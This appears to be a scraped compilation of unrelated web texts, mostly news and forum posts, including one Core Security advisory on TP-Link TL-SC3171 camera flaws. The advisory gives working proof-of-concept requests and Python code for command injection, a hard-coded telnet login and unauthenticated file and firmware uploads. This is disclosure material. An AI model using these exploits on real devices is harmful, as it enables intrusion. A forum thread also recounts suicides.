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In its usual star-powered fashion, CBS' The Good Wife nabbed some big names for its upcoming fourth season, enticing Broadway alums Nathan Lane and Kristin Chenoweth to sign on for recurring roles. Some of Chenoweth's scenes were shot last month, but, after an onset accident several weeks ago, the GCB star has decided to cancel the rest of her appearances on the show.
On July 11, Chenoweth was happily shooting a scene for The Good Wife when some wind knocked some lighting equipment off kilter and a large piece fell, only to hit Chenoweth on the head. The 44-year-old actress was rushed to the hospital, but was sent home a day later wearing a neck brace. In the weeks following, Chenoweth has had plenty of time to recover from the horrific accident; however, TV Line is reporting the actress has ultimately decided to change her status on the The Good Wife from recurring to that of a one-episode guest stint.
Chenoweth will still appear in the Season 4 opener, thanks to having already shot her scenes. Unfortunately for fans, her character, a political reporter trying to weasel her way into Peter Florick's campaign, was also expected to appear in several more episodes early in Season 4. Chenoweth has not been explicit about exactly why she will not return to the show, but a statement to People seems to indicate she may still be feeling a bit under the weather.
"It is with deep regret to inform everyone that due to my injuries, I am unable to return to The Good Wife at this time. I'm getting better slowly, and thank you everyone for your concern."
Whether or not Chenoweth is still suffering from her injury, getting hit with a piece of heavy equipment is still a big scare. It's completely understandable if the actress does not feel up to returning to the set, especially since she was only supposed to appear in a few episodes of the hit show. It's just a bummer her departure will cause a gap for the writers who worked so hard to get Season 4 on the road. It will be difficult to replace Chenoweth with another actress playing the same character, but I wonder if that's a feat the show will be forced to attempt.
CBS' The Good Wife premieres on Sunday, September 30 at 9 p.m. ET.
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After reading all the interesting posts in Inge's thread Deluxe - How Luxury Lost Its Luster - Kick-off Thread, I began thinking about what I think is "true" luxury. It means a variety of things to me, but handmade quality is always something that appeals to me. I value everything that has an interesting tradition behind it - it can be handmade soap from France, a pair of leather boots from Italy, a handknit sweater (well made).
Luxury to me would be my new leather booties. They have leather soles, sewn down, not glued, and the leather is perfect. They were pricey, but I wear them almost every other day and am so happy about them. They will last me for many years. Another kind of luxury is a fresh piece of lavender soap from Provence, or a good cheese.
I eyed this wonderful bouclé skirt while shopping, but the price tag told me to let it go. I don't think it was worth that kind of money. I bought a similar fabric for a fraction of the price, and sewed it myself instead. Not entirely the same, but it still felt good, and a self-made skirt is something to cherish in its own way. When is a piece of clothing too expensive in your opinion, and what are the items you don't mind paying for? What does luxury mean?
I'd love to hear your thoughts.

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I'll use cloud service for hosting and need to purchase domain (cloud service doesn't sell domains). Also want domain privacy for WHOIS listing. But sellers like Network Solutions only offer privacy for your address, not your name. And Godaddy seems like a nightmare - don't want to go there. Any other reputable and stable options of where to purchase domains -- not some place that will shut down in a minute? Seems like a small issue, but want to avoid problems.
never had problems with godaddy... more over they give you first year free if you buy more than 5 domains...
These big name companies are always bad bets since you are just a number with them. I recommend staying away from the usual big name suspects.
Hover.com, http://twit.hover.com/
ENOM is quite popular and you can find lots of positive reviews about it in most of the websites... Otherwise godaddy is also best.


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Phil Knight Discusses State Of College Basketball Coppolella Banned As Part Of Braves' Penalties Jones Won't Sue NFL Owners Over Goodell Dish/CBS Dispute Likely To Affect Thanksgiving NFL MillerCoors, NASCAR Yet To Reach Extension Ruppe Is UA's Latest Exec Departure Sellout Crowd Turns Out For Crew Playoffs FC Cincinnati Owners Sign Option To Buy Stadium Site Duracell, SoFi Buying Six-Second Ads On Fox NBC's Preschlack Says Chicago Cuts Part Of Evolution
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Top Female Players Unveil New Outfits For Australian Open
Wozniacki's dress is
from Stella McCartney
NEW YEAR, NEW GEAR: TENNIS.com's Richard Pagliaro noted Wozniacki will "start the new year in new gear, sporting an adidas ballerina dress in immaculate white with a playful pop of orange in the Seamless Performance bra and hot pant." The new clothes are "part of an off-season makeover." Designed by McCartney, the white Ten Performance Dress is a part of adidas' Stella McCartney SS 11 collection and "represents a color departure for Wozniacki, who wore a dark green McCartney design with optic yellow hot pant" at the '10 U.S. Open. The white Ten Performance dress "is not part of the adidas by Stella McCartney line sold in the U.S., but it will be available globally" (TENNIS.com, 1/10).
MARKETERS' HEAVEN: In Sydney, Janice Breen Burns writes "during Melbourne's tennis season a swarm of fashion and luxury brand marketers crank up campaigns for clothing, jewellery and accessories ahead of the appearance of their celebrity 'models' on Rod Laver Arena's catwalks-cum-courts." No. 1-ranked men's player Rafael Nadal will wear a "high-tech watch, thin as a chip," made by Richard Mille that took "months to handcraft" and retails at nearly US$500,000. Mille said that there are "already 200 'quite wealthy' customers on a waiting list for a limited edition of the high-tech, light-as-air, laboriously crafted 20-gram timepieces." Meanwhile, Sharapova will wear "18-carat gold and diamond drop earrings by architect Frank Gehry." Tiffany & Co. is "bracing itself for the queue at its Collins Street shop when Sharapova fans see hers and want a pair for the snack-size price" of US$4,030 (SYDNEY MORNING HERALD, 1/13).
CAN'T TOUCH THIS: In Melbourne Ben McKelvey writes none of the women seeded ahead of Sharapova in the Australian Open "have much chance of earning more" than her this year. Short of "something exceptional happening, Sharapova will top the money list among female athletes in all sports thanks in part to her tennis ability but also to her marketability." Advertisers have been "drawn to her striking physical appearance for the better part of a decade, while corporations have longed to align themselves with that spring's-first-warmth smile reserved for moments of great jubilation." Forbes estimated that Sharapova last year "earned more than" $24M, less than $700,000 of which came prize money (Melbourne AGE, 1/13).
Nike Signs Deal With African-American PGA Tour Rookie Bramlett
Nike Golf has signed a multiyear deal with PGA Tour rookie Joseph Bramlett, who will make his pro debut this afternoon at the Sony Open in Hawaii. Bramlett, who is just the second African-American on the PGA Tour, will utilize Nike clubs, balls, footwear, gloves, bag, apparel, headwear and accessories (Nike). SPORTSBUSINESS JOURNAL's Michael Smith reported Team Services co-Founder Fred Fried, whose company "primarily has been known for selling naming rights to buildings," signed Bramlett to representation "without any competition from traditional player rep agencies." Fried "envisions two or three more sponsors -- endemic and non-endemic -- coming on board in 2011 during Bramlett's rookie season." Bramlett is the "first golfer of African-American heritage to graduate from the PGA Tour's qualifying school in 25 years," and Fried will "seek relationships that help Bramlett promote the game to the African-American audience." Bramlett "will be featured in NBC's coming golf show 'Ticket to the Tour,' which looks at newcomers on the PGA Tour." Bramlett is the "first athlete client at Team Services," and Fried is "not discounting the possibility of more work in the golf space." Fried: "We would consider expanding in golf. It'll be interesting to see how this goes" (SPORTSBUSINESS JOURNAL, 1/3 issue).
FOLLOWING TIGER'S TRAIL: USA TODAY's Steve DiMeglio notes when Bramlett tees off today at the Sony Open, he will "join Tiger Woods as the only players of black descent who have Tour cards." Bramlett: "It truly is an honor for me, and I hope this can start to change things. I'm not always the most common looking person on the golf course, so hopefully if I can play well this year, I can inspire kids to know that if I can do it, they can do it." Bramlett added he thinks in the "next two or three years you'll see more African-American players out here on the PGA Tour." Bramlett: "It's a process. There are several black players that are up and coming" (USA TODAY, 1/13). More Bramlett: "I think that, hopefully, I can leave an impact on the game that can help change things further. Tiger has had a huge impact and I'm just one of several kids coming up right now" (HONOLULU STAR-ADVERTISER, 1/13).
EA Blasts Sports Unions In Court Filing As Part Of Keller Lawsuit
Electronic Arts yesterday in a federal court filing blasted the major sports unions for their contention that the gamemaker's products are not protected by the First Amendment. The unions -- the NFLPA, MLBPA, NBPA, NHLPA and MLSPU -- in November sided with Sam Keller, a former Arizona State QB who in '09 sued EA and the NCAA for allegedly using his image in videogames without his consent. EA used the last 10 pages of its 34-page reply brief to specifically counter the unions, which filed an amicus curiae brief on behalf of Keller. "The Players [unions] assert that the 'First Amendment does not protect [video games] that do nothing more than simulate, as realistically as possible, actual sporting events populated by real athletes,'" EA wrote in its brief. "This argument mischaracterizes EA's games and misstates First Amendment law." EA's contention is that the games are akin to works of art, and not commercial speech as the unions and Keller argue. EA argued that if Keller succeeds, that could also "strip protection from countless other creative works, including films like The Social Network, Forrest Gump, and All the President's Men, novels like E.L. Doctorow's Ragtime, Thomas Pynchon's Gravity's Rainbow, and Don DeLillo's Libra, songs like Elton John's Candle in the Wind and Simon and Garfunkel's Mrs. Robinson, and plays like Steve Martin's Picasso at the Lapin Agile, all of which feature the names or likenesses of real-life individuals." A federal district judge declined to dismiss the case early last year against the videogame maker, ruling that EA had not sufficiently transformed the players images to merit first amendment protections. The videogame maker appealed to the Ninth Circuit Court of Appeals, which will hear oral arguments next month.
Marketplace Roundup
In Louisiana, Scott Ferrell reports AdvoCare "will return as the Independence Bowl's title sponsor in 2011." AdvoCare "extended its title sponsorship for one year" after serving as the bowl's title sponsor for the last two games. AdvoCare has a 45-day window "after the bowl game in which it can choose to renew as title sponsor." The decision to renew was "relayed to bowl officials last week before making the announcement" yesterday (SHREVEPORT TIMES, 1/13).
CHANGING NAMES: MARKETING MAGAZINE's John Reynolds cites a source as saying that a rumored push from EPL clubs to approach league execs about "changing the rules to allow multiple sponsors" on their jerseys is "categorically not on the agenda." The source said that "such a move, which would bring the league into line with some European leagues, would require the backing of two thirds" of the EPL's 20 clubs "to vote in favour of the rule change." The source said the Premier League "has not gone down that route and there are no current plans to change things." Reynolds notes EPL club Tottenham Hotspur last year "was granted permission from the Premier League to have different shirt sponsors for league and cup games" (MARKETINGMAGAZINE.co.uk, 1/13).
Federer, Nadal and Murray among players featured in ATP's "Game On" ad campaign
NEW FOR THE NEW YEAR: Bjorn Borg this month formed a new subsidiary, Bjorn Borg Sport, founded on the company's clothing concept in the Netherlands. The new men's and women's collections include sports fashion and functional sports wear to be sold to distributors in Bjorn Borg's current markets, with an initial focus on larger markets (Bjorn Borg)….USA Bobsled for the rest of the World Cup Season will feature six company logos on their sleds, including Alamo Rent A Car, BMW, KOA campgrounds, Under Armour, Autism Speaks and the Susan G. Komen for the Cure (Colorado Springs GAZETTE, 1/13).


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Awkward, delicious time at Little Sheep
Ian Anderson 9:30 a.m., Nov. 23
Cox Enterprises has put the Austin American-Statesman up for sale, along with ten papers in smaller cities such as Waco. That will leave Cox with only three papers, including the Atlanta Journal-Constitution. Austin is generally considered a market quite similar to San Diego, where Copley Press, owner of the Union-Tribune, last month put itself up for sale. There is almost no market for metro dailies. A group of wealthy local citizens led by Mike McKinnon, who controls KUSI-TV, talked with Copley about a purchase even before the company went publicly fishing for bids in late July. McKinnon, who would combine the paper's news and advertising functions with those of the TV station, is likely to wait Copley out, hoping for the price to fall. Cox's move will help. Meanwhile, there is more grim news for newspapers. In the second quarter, three chains reported that online revenues fell: Lee Enterprises down 9.1 percent, AH Belo down 12, and EW Scripps down 8. Newspapers hope their online operations will save them. This year, for the first time, broadcast TV is expected to chalk up larger revenues than newspapers -- $51 billion to $47 billion. Newspapers are expected by Veronis Suhler Stevenson to be down $1 billion from 2007 while TV rises $3 billion.
Good anlaysis Don. It sounds like it will be a race to the bottom. But if the price follows the revenues, McKinnon may have some competition when it bottoms out. What about an ESOP? It seems to me that the biggest stakeholders in this meltdown (apart from us, the long-suffering readers) are the U-T employees. Would an ESOP work Don?
David Copley is stuck between a rock and hard place. Much of it his own doing.
His paper is declining in value, and if he sells it will be for peanuts. And there is really nothing he can do about it, or very little.
If Copley was a hands on manager, a competent manager, he could work his tail off and try to turn things around-with strong leadership from the top. Unfortunately he has incompetents running the paper and he could never run it himself with any degree of success.
At a time when daily papers should be trying to increase circulation, the UT is alienating readership with partisan yellow journalism. That simply will not work today because the UT is NO LONGER the big gun in town. There are just too many options for readers. The internet has changed that. In spades.
So, I see David Copley losing control by a low ball sale of the paper, or outright losing it for lack of positive cash flow. It is a sinking ship with no captain to right it.
Time will tell.
Response to post #1: One of the key points in Copley Press history came many years ago. David had been in training, working for short periods in every area of the company. It was clear to the executives in La Jolla that he had little interest and wasn't qualified. It is my understanding that several execs were willing to go together to tell Helen this. But, I have been told, Dick Capen said he would do it. Helen erupted. Shortly, Capen was out. After a few years, David was named publisher and CEO. The people immediately under him ran the company, but they made some serious mistakes, such as buying the Illinois and Ohio papers when the money should have gone into capital investment in preparation for an electronic future that these executives did not foresee. The handwriting was on the wall for the print newspaper in the 1980s and the Copley brass didn't read it. The execs ignored those in the company who saw trouble with print journalism. Yes, today's yellow journalism is hurting the company, but that's not the major cause of the cancer. The big short term question is one I have oft repeated: is cash flow negative? If it is, the price will be low indeed. Best, Don Bauder
Response to post #3: An ESOP (a form of employee ownership) might work, Pat. Other readers of this blog have suggested employee ownership. However, newspaper employees aren't paid that well. To have them carrying the obligation of so-called ownership of a collapsing paper could be a burden. Employees supposedly are the basic owners of Tribune Co. in Chicago. That is a kinky deal, however, pulled off by Sam Zell, a slick operator whose main interest is real estate. Zell plunked in little of his own money. I am concerned that those Tribune employees could be taken in this one. Your ESOP question raises an interesting point: Copley has always had bad relationships with its employees. In fact, particularly when there was a guild, it reveled in bullying them. Now the company's major asset -- the one thing making the paper salable -- is its editorial employees. Ironic, isn't it? Best, Don Bauder
I am wondering if the ill-health of the Reader's daily competitor puts just that much more responsibility for good timely journalism on the Reader staff...
Response to post #5: No doubt you are right on that observation. Best, Don Bauder
The U-T is caught in a downward spiral. To contain costs they cut content (such as the zoned editions or weekly TV schedule) AND raise the single issue price, which makes the paper even less appealing to readers, which cuts circulation, which makes it less desirable as an advertising vehicle and reduces ads, which means less reveune, which means they need to contain costs ...
Response to post #7: Very perceptive. Raising prices and slashing quality is a one-way ticket to perdition for most businesses -- restaurants being a classic example. Ditto for newspapers and other kinds of media. When the personnel pogroms began a couple of years ago, Copley may have been plotting to put the papers up for sale. Slashing expenses and raising prices may fatten up the profit & loss statement on the short run and make the company more salable. Best, Don Bauder
Back in '03 the UT began to hack away at the Circulation Department. Other departments (including News) really took no notice ... I suspect those people were too far beneath them. The Circulation Customer Service people were outsourced to Iowa. The Big Lie being told was that the Iowa call center would help build circulation because it had multiple and varied clients. So if someone called Iowa, say, for a new VISA card, they would be invited to use it to purchase the UT at a discount. This went nowhere fast. And guess what? Those Customer Service people are now no longer in Iowa but in India!!
Response to post #9: Yes, the company outsourced circulation customer service. I didn't know it got to India. Some companies are giving up India. Incidentally, there is news in the newspaper marketplace. Hearst has purchased the Bridgeport, Conn. daily and seven weeklies in the state, including some in super upscale markets such as Darien. The price was supposedly $155 million. What's important is the seller: William Dean Singleton's MediaNews Group. Singleton is said to covet the San Diego market. But his group is vastly overleveraged. Maybe he is selling papers to reduce debt so that he can buy the U-T. In any case, the sale of Bridgeport would appear to be good news for Copley. Best, Don Bauder
Hey Donny boy, I wonder if anyone besides current or former Union Tribune employees would read your stories or participate in these stupid blogs of yours if they didn't work for the paper. Do you think anyone really cares??? Let me guess...you worked for the paper and they forced you out.
Response to post #11: The crumbling of the Copley empire is big news. Many people besides employees and ex-employees are interested in this topic. I was financial columnist for 30 years, and financial editor for most of those years, of the Union and later the U-T. I was neither fired nor forced out. But they were delighted to see me go. Best, Don Bauder


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Minnesota Lynx owner Glen Taylor has stuck with his WNBA franchise through some tough seasons, and now that the team has reached the league finals for the first time in its history, he hopes fans become as loyal as he has been - and more numerous.
Having dispatched the Phoenix Mercury on Sunday in the Western Conference playoffs, the Lynx will play their first final game in Minneapolis on Oct. 2 against the winner of the Atlanta-Indiana series.
"A winning team can draw fans and a lot of excitement for the state. I'm hopeful that by winning, it will continue to attract fans," Taylor said. "Women's sport can be very entertaining and fun."
It doesn't hurt that his is the only pro Minnesota franchise worth getting excited about right now. The Vikings are enduring a 0-3 season, the Twins have imploded, and Taylor's own NBA Timberwolves ended last season with the worst record in the NBA.
That may explain why Taylor says more men seem to be showing up at Target Center.
"Once men come to the game they find out it is a very competitive game," with the likes of Lindsay Whalen, Maya Moore and Taj McWilliams-Franklin. "The gals are very experienced."


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[CVE-2013-2578] to execute arbitrary commands through the file\r\n'/cgi-bin/admin/servetest'.\r\n 2. [CVE-2013-2579] to execute arbitrary commands in a shell using\r\nhard-coded credentials.\r\n 3. [CVE-2013-2580] to perform unauthenticated remote file uploads.\r\n 5. [CVE-2013-2581] to perform unauthenticated remote firmware upgrades.\r\n \r\n3.1. *Attack Paths*\r\n \r\nThere are several attack paths that can be exploited by combining these\r\nvulnerabilities with other ones discovered by Eliezer Varade Lopez,\r\nJavier Repiso Sanchez and Jonas Ropero Castillo [2]. Additional attack\r\npaths are available, but the ones listed here allow understanding how an\r\nattacker could compromise the affected device.\r\n \r\n3.1.1. *Attack Path I*\r\n \r\n(Authentication: none)\r\n \r\n 1. Upload a rooted firmware exploiting [CVE-2013-2581].\r\n 2. Reboot the device by exploiting 'http://<ip-cam>/cgi-bin/reboot'[2].\r\n \r\n3.1.2. *Attack Path II*\r\n \r\n(Authentication: bypassed)\r\n \r\n 1. Reset the device to its factory defaults exploiting\r\n'http://<ip-cam>/cgi-bin/hardfactorydefault'[2]. After this step, the\r\nauthentication can by bypassed by using 'admin:admin' as a valid\r\n'username:password'.\r\n 2. Reboot the device by exploiting 'http://<ip-cam>/cgi-bin/reboot'[2].\r\n 3. Start the Telnet service exploiting [CVE-2013-2578].\r\n 4. Login to the Telnet service using user 'qmik' (no password)\r\n[CVE-2013-2579], and use the device as a pivoting point.\r\n \r\n4. *Vulnerable Packages*\r\n \r\nTests and PoC were run on:\r\n \r\n . TP-Link TL-SC3171 IP camera running firmware version\r\nLM.1.6.18P12_sign5.\r\n . Other TP-Link cameras and firmware versions are probably affected\r\ntoo, but they were not checked.\r\n \r\n5. *Vendor Information, Solutions and Workarounds*\r\n \r\nVendor provides the links to (pre-release) patched firmware versions\r\n[3]. The final official versions will be released in the next few days.\r\nPlease, contact TP-Link for further information.\r\n \r\n6. *Credits*\r\n \r\nThese vulnerabilities were discovered by Flavio de Cristofaro and\r\nresearched with the help of Andres Blanco from Core Security\r\nTechnologies. The publication of this advisory was coordinated by\r\nFernando Miranda from Core Advisories Team.\r\n \r\n \r\n7. *Technical Description / Proof of Concept Code*\r\n \r\n7.1. *OS Command Injection in servetest*\r\n \r\n[CVE-2013-2578] The file '/cgi-bin/admin/servetest' has an OS command\r\ninjection in several of its parameters that can be exploited by an\r\nauthenticated user to execute arbitrary commands. The following proof of\r\nconcept starts the telnetd service:\r\n \r\n/-----\r\nGET\r\n/cgi-bin/admin/servetest?cmd=smtp&ServerName=126.96.36.199;/usr/sbin/telnetd;&ServerPort=25&ServerSSL=off&RcptToAddr1=q@q&AdminAddr=q@q\r\nHTTP/1.1\r\nAccept: */*\r\nAccept-Language: en-us\r\nReferer: http://192.168.1.100/progress.htm\r\nIf-Modified-Since: Sat, 1 Jan 2000 00:00:00 GMT\r\nAccept-Encoding: gzip, deflate\r\nUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64;\r\nTrident/5.0)\r\nHost: 192.168.1.100\r\nProxy-Connection: Keep-Alive\r\nCookie: VideoFmt=1\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\nContent-Length: 2\r\n-----/\r\n \r\n7.2. *Hard-coded credentials in telnet service*\r\n \r\n[CVE-2013-2579] The affected system includes a hard-coded login with no\r\npassword which could be used by a remote attacker to access the OS of\r\nthe affected device using the built-in telnet service:\r\n \r\n/-----\r\nusername: qmik\r\npassword: (none) \r\n-----/\r\n \r\nThe 'qmik' user is allowed to execute the command 'su', allowing the\r\nuser to execute arbitrary commands with root level privileges. The\r\ntelnet service can be enabled through [CVE-2013-2578].\r\n \r\n \r\n7.3. *Unauthenticated remote file uploads*\r\n \r\n[CVE-2013-2580] The file '/cgi-bin/uploadfile' allows an unauthenticated\r\nuser to perform remote file uploads as shown in the following Python PoC:\r\n \r\n \r\n/-----\r\nimport requests\r\n \r\nfileName = \"lala.tmp\"\r\nf = open(fileName, \"w\")\r\nf.write(\"lala\")\r\nf.close()\r\nrequests.post(\"http://192.168.1.100/cgi-bin/uploadfile\",\r\nfiles={fileName: open(fileName, \"rb\")})\r\n-----/\r\n \r\nThe uploaded file (in this example lala.tmp) will be hosted in the\r\n'/mnt/mtd' directory.\r\n \r\n \r\n7.4. *Unauthenticated remote firmware upgrades*\r\n \r\n[CVE-2013-2581] The file '/cgi-bin/firmwareupgrade' allows an\r\nunauthenticated user to perform remote firmware upgrades as shown in the\r\nfollowing Python POC:\r\n \r\n \r\n/-----\r\nimport requests\r\n \r\nrequests.get(\"http://192.168.1.100/cgi-bin/firmwareupgrade?action=preset\")\r\nfileName = \"COM_T01F001_LM.1.6.18P12_sign5_TPL.TL-SC3171.bin\"\r\ncookies={\"VideoFmt\":\"1\"}\r\nrequests.post(\"http://192.168.1.100/cgi-bin/firmwareupgrade?action=preset\",\r\nfiles={\"SetFWFileName\" : (fileName, open(fileName, \"rb\"))}, cookies=cookies)\r\n-----/\r\n \r\n \r\n8. *Report Timeline*\r\n \r\n. 2013-06-12:\r\nCore Security Technologies notifies the TP-Link team of the vulnerability.\r\n \r\n. 2013-06-18:\r\nCore Security Technologies notifies the TP-Link team of the\r\nvulnerability and set the estimated publication date of the advisory for\r\nJuly 10, 2013.\r\n \r\n. 2013-06-19:\r\nTP-Link answers saying that these vulnerabilities are the same as the\r\nones published on May 28, 2013.\r\n \r\n. 2013-06-26:\r\nCore Security Technologies notifies the TP-Link team that these are new,\r\ndifferent, vulnerabilities and sends a draft report with technical\r\ninformation.\r\n \r\n. 2013-06-26:\r\nVendor acknowledges the receipt of the technical report.\r\n \r\n. 2013-07-01:\r\nVendor requests additional technical information.\r\n \r\n. 2013-07-04:\r\nCore re-sends an improved technical report with additional information\r\nregarding possible attack paths [Sec. 3.1].\r\n \r\n. 2013-07-10:\r\nFirst release date missed.\r\n \r\n. 2013-07-15:\r\nCore asks for a status update.\r\n \r\n. 2013-07-22:\r\nVendor notifies that a patched firmware version will be released on July\r\n29th.\r\n \r\n. 2013-07-22:\r\nCore re-schedules the advisory publication for July 29th.\r\n \r\n. 2013-07-26:\r\nVendor notifies that a (pre-release) patched firmware version is\r\navailable [3] and being tested. The final firmware version will be\r\nreleased in the next few days.\r\n \r\n. 2013-07-30:\r\nAdvisory CORE-2013-0618 is published.\r\n \r\n \r\n9. *References*\r\n \r\n[1] TP-Link TL-SC3171,\r\nhttp://www.tp-link.com/en/products/details/?categoryid=230&model=TL-SC3171.\r\n[2] Security Analysis of IP video surveillance cameras,\r\nhttp://seclists.org/fulldisclosure/2013/Jun/84.\r\n[3] See the online version,\r\nhttp://www.coresecurity.com/advisories/multiple-vulnerabilities-tp-link-tl-sc3171-ip-cameras.\n\n# 0day.today [2016-04-20] #", "id": "1337DAY-ID-21058", "sourceHref": "http://0day.today/exploit/21058", "modified": "2013-08-03T00:00:00", "reporter": "Core Security", "viewCount": 3, "enchantments": {"vulnersScore": 8.8}}
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Given the right circumstances and the right stimuli anyone can be broken down. Ending your own life is not an easy thing to do.
I have known 2 people personally who have committed suicide, one who used to take LSD and dropped an electric heater into a bath while bathing. He was a really nice guy but had a messed up background. He was a very gentle caring person. It shocked me when it happened but then I reflected on his life story and it kind of made sense. He was born into a family where he had 3 ultra religious older spinster sisters in their 20s who lived with their mother who was single and they all hated men and said sex was dirty. The father was an alcoholic who abondoned the elder sisters as a kid but he turned up one day 20 years later spent the night and slept with the mother and left in the morning never to be seen again and poor Phil was born into that. When he broke up with his girlfriend who ended up sleeping with and leaving him fo his best friend he finished himself off.
The other guy I knew who committed suicide was property dealer who had 56 houses in good areas in London in places like Islington,Stoke Newington,Clapham,Balham, Brixton and Notting Hill. It was around 1990 in the last recession and the banks went for him and he was getting wiped out. He jumped out of a window. Each one of those houses would be worth over a a Million pounds now but the banks pulled the rug on him and forced sales at fractions of what the houses were worth. He went from being worth millions to nothing overnight and it was too much for him. He was a very clever gutsy guy that took a lot of financial risks. Risks that would be beyond what most of us would cope with but that is how he accumulated his fortune but when the recession hit he was over leveraged and the banks were ruthless.He hit the bottle and jumped out the window holding a glass of alcohol.
More British soldiers who were in the Falklands war have committed suicide after the war than were killed in it. These were tough guys and can no way be described as mentally weak. You will see the same kind of pattern with returning veterans from places like Iraq and Afghanistan.
Isaac just gave us two concrete cases of suicides. One took his life because of a broken heart with some family back round as contributing factors and the other one is due to economic recession.
The third one which says that more soldiers from a war with argentinians died from suicide than in battles requires some backing up.
Thanks for sharing, mate.
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The mainland's environmental protection watchdog withheld approval on 32 industrial projects involving 134.8 billion yuan (HK$152.93 billion) of investment in the first half on the grounds that they would cause pollution or add to industry overcapacity.
They include projects by two of the country's largest power producers, China Huaneng Group and China Huadian Group, the Ministry of Environmental Protection said.
The power companies face a blanket ban on construction of new projects until they rectify the contravention of environmental laws. The number of banned projects is substantial compared with the 229 that were approved by the ministry, an indication the watchdog is flexing its muscles after being upgraded last year to a ministry from a bureau.
The stiff punishment handed to the power firms shows Beijing is serious about changing the mainland's poor environmental protection record and sorting out irregularities.
It is common for mainland industrial projects to start construction before environmental impact assessments are approved by the watchdog, as companies rush projects through to meet demand and earn more profit.
The power industry is notorious for such contraventions, which partly explains why the average construction period for coal-fired power plants on the mainland managed to be reduced from three years to two between 2002 and 2006 when there was a severe shortage of power.
China Huaneng, the parent of listed Huaneng Power International, and China Huadian, the parent of listed Huadian Power International, were ordered in mid-June by the ministry to stop construction at their hydro dams at the Jinsha River in southwest China, part of the upper reaches of the Yangtze River.
They were accused of having begun work without ministry approval.
Wan Bentai, the ministry's chief engineer, said their projects would be back on track once the environmental assessments and comprehensive surveys of the river's hydropower potential were completed.
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The Earthquakes re-acquired midfielder Simon Dawkins, who is on loan from club partner Tottenham Hotspur of the English Premier League, the team announced in a press release Tuesday.
Dawkins, 24, scored six goals and two assists in 26 games for San Jose last season, playing center midfielder before settling in at the left midfielder position.
Simon did very well for us last season and were really happy to have him back, said Earthquakes head coach Frank Yallop. Hes talented on the ball, will take guys on and not only will set teammates up, but will create his own chances. With a year under his belt in our league, he knows what to expect now and should be ready to once again be a key piece for us.
The Earthquakes discovered Dawkins during a England trip in February of 2011. Soon after, San Jose and Tottenham Hotspur announced a loan deal for the 2011 season.
After the 2011 season, Dawkins returned to his North London squad after the 2011 MLS season and immediately made an impact for the Spurs XI (reserves).
It was one of our primary offseason goals to bring Simon back to San Jose, but we had to be patient. In the end, that patience paid off, said Earthquakes General Manager John Doyle. We liked what we saw out of Simon last year. Hes a versatile player who adds another dimension to our lineup and were excited for his return to the club.
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As unemployment reaches a ten-year high in South Africa, it is evident that companies and business leaders have a clear role to play in nurturing the next generation of wealth and job creators.
The question remains, how do you get the 25 percent unemployed people, and some 15 million people not involved in economic inactive members of South Africa into employment?
This is the current scale of the challenge facing our country as we tackle solutions to this seemingly grim problem. True, solving this conundrum will require action across both the public and private sectors, with a two-pronged approach. First, they need create more jobs and give young people the skills and confidence to fill them.
The good news is that the issue of youth unemployment is top of mind for the South African Breweries. In this, the 21st Anniversary of their Kickstart programme, the company has at its heart the goal of increasing employment, and encouraging entrepreneurship is core to these efforts.
"Entrepreneurs play a vital role in job creation and providing opportunities to young people," says Simphiwe Mntambo, Enterprise Development Specialist (Youth Business) at SAB Kickstart.
Related: Funding And Financial Assistance For SA Women Entrepreneurs
"Entrepreneurship is not only about allowing young people to follow their dreams and start their own businesses, it's about fostering this ambition an giving them the tools to do this," she imparts.
"We believe that through SAB Kickstart we will see a significant change in the youth employment statistics."
"Create Businesses That Thrive, Not Just Survive"
Entrepreneurship in South Africa is not a foreign concept, but the true challenge lies in capacity and the ability to build the dream. "The challenge now is to provide these dynamic young people with the support and the environment they need to turn their ambitions into reality," says Mntambo.
"We have seen that most entrepreneurs struggle with attracting adequate capital into their enterprises and the skill to utilise this capital well due to an inability to strategically operationalise specific financial and business growth requirements and needs of their enterprises for the long term. The challenge now is to provide these dynamic young people with the support and the environment they need to turn their ambitions into reality," says Octavius Phukubye, SAB Manager Enterprise Development.
South Africa, in general, is plagued by poor entrepreneurship and meagre education standards and a weak knowledge economy, which ultimately perpetuates socio-economic inequalities.
"Take for example that our country's quality of Maths and Science education is ranked #144 in world," shares Mntambo.
The Government recognises the SME sector as engine for economic growth and reducing unemployment, and they estimate by 2020 this sector will reduce unemployment by 10%.
Furthermore, government and communities are seeking more value from private sector empowerment initiatives, thus placing pressure on corporates to devise bold moves that change the game for economic transformation.
SAB Kickstart affords SAB and its entrepreneurs the opportunity to make a genuine contribution towards the national vision, indicated by the National Development Plan, of creating one million jobs by 2030 through involvement of big business and the power of entrepreneurship.
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Nine Entrepreneurs Taken Under SAB KickStart's Wing
Nine emerging entrepreneurs went through a rigorous selection process and on May 5, 2016; SAB KickStart announced the 2016 candidates who received mentorship and training to further develop their business ventures.
The annual SAB KickStart, initiative has been empowering young business minds for over two decades, while the programme is interested in developing and ensuring the sustainability of small businesses.
The SAB KickStart finalists and their business will be conscientiously monitored throughout the year and their mentorship structured to best suit their changing business needs.
The entrepreneurs were:
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- Pravashen Naidoo, 33, owner of eWaste Africa
- Brian Ramufhufhi, 35, owner of Mukhwama Manufacturing
- Thuli Radebe, 29, owner of Eyam Projects
- Philip Ndamase, 30, owner of Ndamase Investments
- Noluthando Buthelezi, 35, owner of Tropical Island
- Donal Valoyi, 30, owner of Zulzi
- Inga Vanga, 33, owner of Inga Vanqa Quantity Surveyors
- Mamorajane Lephoto, 31, owner of Lephotho Farmeries .
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SAB Kickstart Boost affords SAB and its entrepreneurs the opportunity to make a genuine contribution towards the national vision, indicated in the National Development Plan, of creating one million jobs by 2030 through involvement of big business and the power of entrepreneurship.
This is aligned to SAB's targeted approach towards building strong South African communities is outlined in its global sustainable development framework, Prosper.
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Wednesday, November 28, 2012
Bubble Wrap Advent Calendar
